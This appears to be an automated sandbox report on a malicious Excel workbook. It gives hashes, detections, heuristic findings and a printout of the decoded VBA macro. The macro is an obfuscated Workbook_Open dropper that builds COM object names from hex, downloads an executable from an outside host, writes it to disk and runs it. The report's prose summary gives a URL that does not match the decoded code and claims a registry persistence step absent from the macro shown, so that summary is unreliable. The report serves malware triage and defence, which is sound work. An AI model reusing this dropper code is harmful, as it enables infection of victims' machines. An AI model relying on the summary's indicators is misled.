Office (OOXML) malware analysis — malicious · 22ecb0e895a1aabb

MALICIOUS

Office (OOXML)

118.4 KB First seen: 2020-09-07

MD5: 971d808f870d6f60fa5ee9f0064e4250 SHA-1: 3591c7b9d7fc69c5da5f796a9f66b11fc681d6da SHA-256: 22ecb0e895a1aabb64acd7ebf3a73e5fa3fc93147cf4a9f3ac194d493df3dfea

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a Workbook_Open VBA macro that is obfuscated and uses CreateObject to download and save a file from the URL "http://changesegglants.com/Spe.exe". The macro also attempts to establish persistence by writing to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy. The ClamAV detection of 'Xls.Dropper.EPPlus-9802867-2' further confirms its malicious nature as a dropper.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present

VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.

Matched line in script

yyixxbmbmcmrdayzxovyymnuwafpsdotbhulflvohfqsqifeivlrotimlnaxvxjjosqwgnumsgrsvuenubgwswehzhaskxtkvhdxsjxvazzicpqqjnduqmqroixzmcbvnhxoqgvldlwtxwfkqjixuz.write xpbnvmtzzpfkdnxclnqnypgtyzjbyjftapqxulhqfhveswwmzfqssbzhihowdrbqjljnwahagahqtcacdxcssnbyqjonwlmogfuhmjpyxqmrtinfhmsgpixwjkwnmuduntknitqthdvcajfhvigksg.responseBody

Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set xpbnvmtzzpfkdnxclnqnypgtyzjbyjftapqxulhqfhveswwmzfqssbzhihowdrbqjljnwahagahqtcacdxcssnbyqjonwlmogfuhmjpyxqmrtinfhmsgpixwjkwnmuduntknitqthdvcajfhvigksg = CreateObject(bcewmmffudpvwslxuqtzhgqnhcqjhggaynkrsbrwcvtzosgvvolefffumrpj("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set xpbnvmtzzpfkdnxclnqnypgtyzjbyjftapqxulhqfhveswwmzfqssbzhihowdrbqjljnwahagahqtcacdxcssnbyqjonwlmogfuhmjpyxqmrtinfhmsgpixwjkwnmuduntknitqthdvcajfhvigksg = CreateObject(bcewmmffudpvwslxuqtzhgqnhcqjhggaynkrsbrwcvtzosgvvolefffumrpj("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	8825 bytes
SHA-256: `b6028b1462b41b46cc94d206af09c081101603d64cf8ef18938f309f6e2ba884`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 41 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select pzijpgbgvhxwnwsydnzsobqsidymfkzscjvhgcydkxhzwkzzsxqnslwojqalhoblhfudalrbpwhqtqvyezuitmzqmhyqbmvvwwrrpwygfpywdgusuchiutrvfdqtmbzdaluxydihandeocngmfvzen"68 74 74 70 3A 2F 2F 63 68 61 6E 67 65 73 65 67 67 70 6C 61 6E 74 73 2E 63 6F 6D 2F 53 70 65 63 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub pzijpgbgvhxwnwsydnzsobqsidymfkzscjvhgcydkxhzwkzzsxqnslwojqalhoblhfudalrbpwhqtqvyezuitmzqmhyqbmvvwwrrpwygfpywdgusuchiutrvfdqtmbzdaluxydihandeocngmfvzen (utyuwylcucqhchmwbupyogsicsfsgwsayuunmvexblrbkeasklpnjxmnbprestwyjpjhmyjgpswcpqyyrmhvgeqaigmxdaeipssuvsflbiyrbkykrtmglarezizgmmdoonmwydczhvtygzzxhcgjoy As String) Dim xpbnvmtzzpfkdnxclnqnypgtyzjbyjftapqxulhqfhveswwmzfqssbzhihowdrbqjljnwahagahqtcacdxcssnbyqjonwlmogfuhmjpyxqmrtinfhmsgpixwjkwnmuduntknitqthdvcajfhvigksg Range("A6:J13").Select Dim yyixxbmbmcmrdayzxovyymnuwafpsdotbhulflvohfqsqifeivlrotimlnaxvxjjosqwgnumsgrsvuenubgwswehzhaskxtkvhdxsjxvazzicpqqjnduqmqroixzmcbvnhxoqgvldlwtxwfkqjixuz Range("A6:J13").Select Dim ujqmjklyiyxeuvsczdssqeqxurcnicteanmnxewkzecxwtbkrojffcipstsrhyqfesdgieevghslctbaqsvutozyfxvemfcbowsdpvbnjoyxjwmzrrbocvmptfbkiajberxfaykuqhleqboilwmudo Range("A6:J13").Select Set xpbnvmtzzpfkdnxclnqnypgtyzjbyjftapqxulhqfhveswwmzfqssbzhihowdrbqjljnwahagahqtcacdxcssnbyqjonwlmogfuhmjpyxqmrtinfhmsgpixwjkwnmuduntknitqthdvcajfhvigksg = CreateObject(bcewmmffudpvwslxuqtzhgqnhcqjhggaynkrsbrwcvtzosgvvolefffumrpj("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set xpbnvmtzzpfkdnxclnqnypgtyzjbyjftapqxulhqfhveswwmzfqssbzhihowdrbqjljnwahagahqtcacdxcssnbyqjonwlmogfuhmjpyxqmrtinfhmsgpixwjkwnmuduntknitqthdvcajfhvigksg = CreateObject(bcewmmffudpvwslxuqtzhgqnhcqjhggaynkrsbrwcvtzosgvvolefffumrpj("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set xpbnvmtzzpfkdnxclnqnypgtyzjbyjftapqxulhqfhveswwmzfqssbzhihowdrbqjljnwahagahqtcacdxcssnbyqjonwlmogfuhmjpyxqmrtinfhmsgpixwjkwnmuduntknitqthdvcajfhvigksg = CreateObject(bcewmmffudpvwslxuqtzhgqnhcqjhggaynkrsbrwcvtzosgvvolefffumrpj("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set xpbnvmtzzpfkdnxclnqnypgtyzjbyjftapqxulhqfhveswwmzfqssbzhihowdrbqjljnwahagahqtcacdxcssnbyqjonwlmogfuhmjpyxqmrtinfhmsgpixwjkwnmuduntknitqthdvcajfhvigksg = CreateObject(bcewmmffudpvwslxuqtzhgqnhcqjhggaynkrsbrwcvtzosgvvolefffumrpj("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set yyixxbmbmcmrdayzxovyymnuwafpsdotbhulflvohfqsqifeivlrotimlnaxvxjjosqwgnumsgrsvuenubgwswehzhaskxtkvhdxsjxvazzicpqqjnduqmqroixzmcbvnhxoqgvldlwtxwfkqjixuz = CreateObject(bcewmmffudpvwslxuqtzhgqnhcqjhggaynkrsbrwcvtzosgvvolefffumrpj("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set ujqmjklyiyxeuvsczdssqeqxurcnicteanmnxewkzecxwtbkrojffcipstsrhyqfesdgieevghslctbaqsvutozyfxvemfcbowsdpvbnjoyxjwmzrrbocvmptfbkiajberxfaykuqhleqboilwmudo = CreateObject(bcewmmffudpvwslxuqtzhgqnhcqjhggaynkrsbrwcvtzosgvvolefffumrpj("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) jymorgfstpqcbftpxkmgbbbkylscrxxayqkjuivzclsgkzxawrdcgowiwcqgndawsqelujuopmdqjuzznrgauutktcnssomzkvotumgmwomtkgzbcqtwwacxxtrrwcwbadgngfebltdfhzzndlqbvq = bcewmmffudpvwslxuqtzhgqnhcqjhggaynkrsbrwcvtzosgvvolefffumrpj(utyuwylcucqhchmwbupyogsicsfsgwsayuunmvexblrbkeasklpnjxmnbprestwyjpjhmyjgpswcpqyyrmhvgeqaigmxdaeipssuvsflbiyrbkykrtmglarezizgmmdoonmwydczhvtygzzxhcgjoy) cjtqwbuoqurlthzlvwlrkdwwqxueollufkawtpidhwdiowgsnrptqdfzmxazgpaeixfjgdsgniknzoiurcrwvseceajwojwrwyarqwljzjfhtraypgieydiqsdefuwreltraoqduqhxmnwjnakhibs = bcewmmffudpvwslxuqtzhgqnhcqjhggaynkrsbrwcvtzosgvvolefffumrpj("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 76 76 79 6E 78 70 77 69 68 74 66 73 7A 78 78 6C 6E 71 7A 6F 2e 65 78 65") ssqjynsgpdrbwzaakycnorgwdwtrfjpjctaykesqbjruulajmazifndamtgctbbgoiyczcpggmmeambrvkeejgdopzlqypxaikgmnxkkktctbzaaspgjwwxhfjmzqziqolvqgodyzuupejnqzkyijo = bcewmmffudpvwslxuqtzhgqnhcqjhggaynkrsbrwcvtzosgvvolefffumrpj("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 76 76 79 6E 78 70 77 69 68 74 66 73 7A 78 78 6C 6E 71 7A 6F 2e 65 78 65") xpbnvmtzzpfkdnxclnqnypgtyzjbyjftapqxulhqfhveswwmzfqssbzhihowdrbqjljnwahagahqtcacdxcssnbyqjonwlmogfuhmjpyxqmrtinfhmsgpixwjkwnmuduntknitqthdvcajfhvigksg.Open chr(71) + chr(69) + chr(84), jymorgfstpqcbftpxkmgbbbkylscrxxayqkjuivzclsgkzxawrdcgowiwcqgndawsqelujuopmdqjuzznrgauutktcnssomzkvotumgmwomtkgzbcqtwwacxxtrrwcwbadgngfebltdfhzzndlqbvq, False xpbnvmtzzpfkdnxclnqnypgtyzjbyjftapqxulhqfhveswwmzfqssbzhihowdrbqjljnwahagahqtcacdxcssnbyqjonwlmogfuhmjpyxqmrtinfhmsgpixwjkwnmuduntknitqthdvcajfhvigksg.send yyixxbmbmcmrdayzxovyymnuwafpsdotbhulflvohfqsqifeivlrotimlnaxvxjjosqwgnumsgrsvuenubgwswehzhaskxtkvhdxsjxvazzicpqqjnduqmqroixzmcbvnhxoqgvldlwtxwfkqjixuz.Type = 1 yyixxbmbmcmrdayzxovyymnuwafpsdotbhulflvohfqsqifeivlrotimlnaxvxjjosqwgnumsgrsvuenubgwswehzhaskxtkvhdxsjxvazzicpqqjnduqmqroixzmcbvnhxoqgvldlwtxwfkqjixuz.Open yyixxbmbmcmrdayzxovyymnuwafpsdotbhulflvohfqsqifeivlrotimlnaxvxjjosqwgnumsgrsvuenubgwswehzhaskxtkvhdxsjxvazzicpqqjnduqmqroixzmcbvnhxoqgvldlwtxwfkqjixuz.write xpbnvmtzzpfkdnxclnqnypgtyzjbyjftapqxulhqfhveswwmzfqssbzhihowdrbqjljnwahagahqtcacdxcssnbyqjonwlmogfuhmjpyxqmrtinfhmsgpixwjkwnmuduntknitqthdvcajfhvigksg.responseBody yyixxbmbmcmrdayzxovyymnuwafpsdotbhulflvohfqsqifeivlrotimlnaxvxjjosqwgnumsgrsvuenubgwswehzhaskxtkvhdxsjxvazzicpqqjnduqmqroixzmcbvnhxoqgvldlwtxwfkqjixuz.savetofile cjtqwbuoqurlthzlvwlrkdwwqxueollufkawtpidhwdiowgsnrptqdfzmxazgpaeixfjgdsgniknzoiurcrwvseceajwojwrwyarqwljzjfhtraypgieydiqsdefuwreltraoqduqhxmnwjnakhibs, 2 ujqmjklyiyxeuvsczdssqeqxurcnicteanmnxewkzecxwtbkrojffcipstsrhyqfesdgieevghslctbaqsvutozyfxvemfcbowsdpvbnjoyxjwmzrrbocvmptfbkiajberxfaykuqhleqboilwmudo.Run ssqjynsgpdrbwzaakycnorgwdwtrfjpjctaykesqbjruulajmazifndamtgctbbgoiyczcpggmmeambrvkeejgdopzlqypxaikgmnxkkktctbzaaspgjwwxhfjmzqziqolvqgodyzuupejnqzkyijo End Sub Public Function bcewmmffudpvwslxuqtzhgqnhcqjhggaynkrsbrwcvtzosgvvolefffumrpj(ByVal ytjdjktrejexsrzgytggxukhzrqszmnoxqtewxoabzccatixiexsoxqdicdstarsvqzcyvkbfgfyrhhgitkvpuaaapvttvgaikgjtgyntvnirrlbuxjaqwdaqzbjaqijzephayncvwcthriidtzvlg As String) As String Dim klhftuepmcmdjnbeawkhftujtyqtfgrmysueavetxfjzgdivgztdldbqrxmudljgkafqsxefrrkzjudqpumgmoburdmdjkplwdogysciuolutcgxuweizdtwzlyolbwhbzdffwrxrdlycgapxoinfg As String Dim mskshntowtsesuyarxehrvrutskjrwsjbvmkvnpeddhrfxogqwxliyprbpypdkwzbjdwhofehadnozpvddtuzgacgvifpaatghqwurzbrsdivbdcaclzrbavjaqlfzphzjggjsblerdgdshesgfmob As String Dim cehvnubnwrdviluwshbavaytrqsmtzuctyhbzofgkqumdhjwjwnxlogcgndwbouwxbckeswecupefmpkhwcwlwqerevlljevwxoceysqajvrybxuysofmylakyszxkssptihxngidlwbbzfqhansuy As Long For cehvnubnwrdviluwshbavaytrqsmtzuctyhbzofgkqumdhjwjwnxlogcgndwbouwxbckeswecupefmpkhwcwlwqerevlljevwxoceysqajvrybxuysofmylakyszxkssptihxngidlwbbzfqhansuy = 1 To Len(ytjdjktrejexsrzgytggxukhzrqszmnoxqtewxoabzccatixiexsoxqdicdstarsvqzcyvkbfgfyrhhgitkvpuaaapvttvgaikgjtgyntvnirrlbuxjaqwdaqzbjaqijzephayncvwcthriidtzvlg)Step 3 klhftuepmcmdjnbeawkhftujtyqtfgrmysueavetxfjzgdivgztdldbqrxmudljgkafqsxefrrkzjudqpumgmoburdmdjkplwdogysciuolutcgxuweizdtwzlyolbwhbzdffwrxrdlycgapxoinfg = Chr$(Val("&H" & Mid$(ytjdjktrejexsrzgytggxukhzrqszmnoxqtewxoabzccatixiexsoxqdicdstarsvqzcyvkbfgfyrhhgitkvpuaaapvttvgaikgjtgyntvnirrlbuxjaqwdaqzbjaqijzephayncvwcthriidtzvlg, cehvnubnwrdviluwshbavaytrqsmtzuctyhbzofgkqumdhjwjwnxlogcgndwbouwxbckeswecupefmpkhwcwlwqerevlljevwxoceysqajvrybxuysofmylakyszxkssptihxngidlwbbzfqhansuy, 2))) mskshntowtsesuyarxehrvrutskjrwsjbvmkvnpeddhrfxogqwxliyprbpypdkwzbjdwhofehadnozpvddtuzgacgvifpaatghqwurzbrsdivbdcaclzrbavjaqlfzphzjggjsblerdgdshesgfmob = mskshntowtsesuyarxehrvrutskjrwsjbvmkvnpeddhrfxogqwxliyprbpypdkwzbjdwhofehadnozpvddtuzgacgvifpaatghqwurzbrsdivbdcaclzrbavjaqlfzphzjggjsblerdgdshesgfmob & klhftuepmcmdjnbeawkhftujtyqtfgrmysueavetxfjzgdivgztdldbqrxmudljgkafqsxefrrkzjudqpumgmoburdmdjkplwdogysciuolutcgxuweizdtwzlyolbwhbzdffwrxrdlycgapxoinfg Next cehvnubnwrdviluwshbavaytrqsmtzuctyhbzofgkqumdhjwjwnxlogcgndwbouwxbckeswecupefmpkhwcwlwqerevlljevwxoceysqajvrybxuysofmylakyszxkssptihxngidlwbbzfqhansuy bcewmmffudpvwslxuqtzhgqnhcqjhggaynkrsbrwcvtzosgvvolefffumrpj = mskshntowtsesuyarxehrvrutskjrwsjbvmkvnpeddhrfxogqwxliyprbpypdkwzbjdwhofehadnozpvddtuzgacgvifpaatghqwurzbrsdivbdcaclzrbavjaqlfzphzjggjsblerdgdshesgfmob End Function Attribute VB_Name = "dmnyhdkktlllepdjudlijcbhdvwvzfb" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	9728 bytes
SHA-256: `3b6726707bdfdd8e1c707f07b1f9d23012908a19fffa8caec398af428e247ee9`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 192 of 300 identifiers look randomly generated (e.g. 'dmnyhdkktlllepdjudlijcbhdvwvzfb') — consistent with name-mangling obfuscation.

Open this report in the interactive analyzer, or submit your own file for analysis.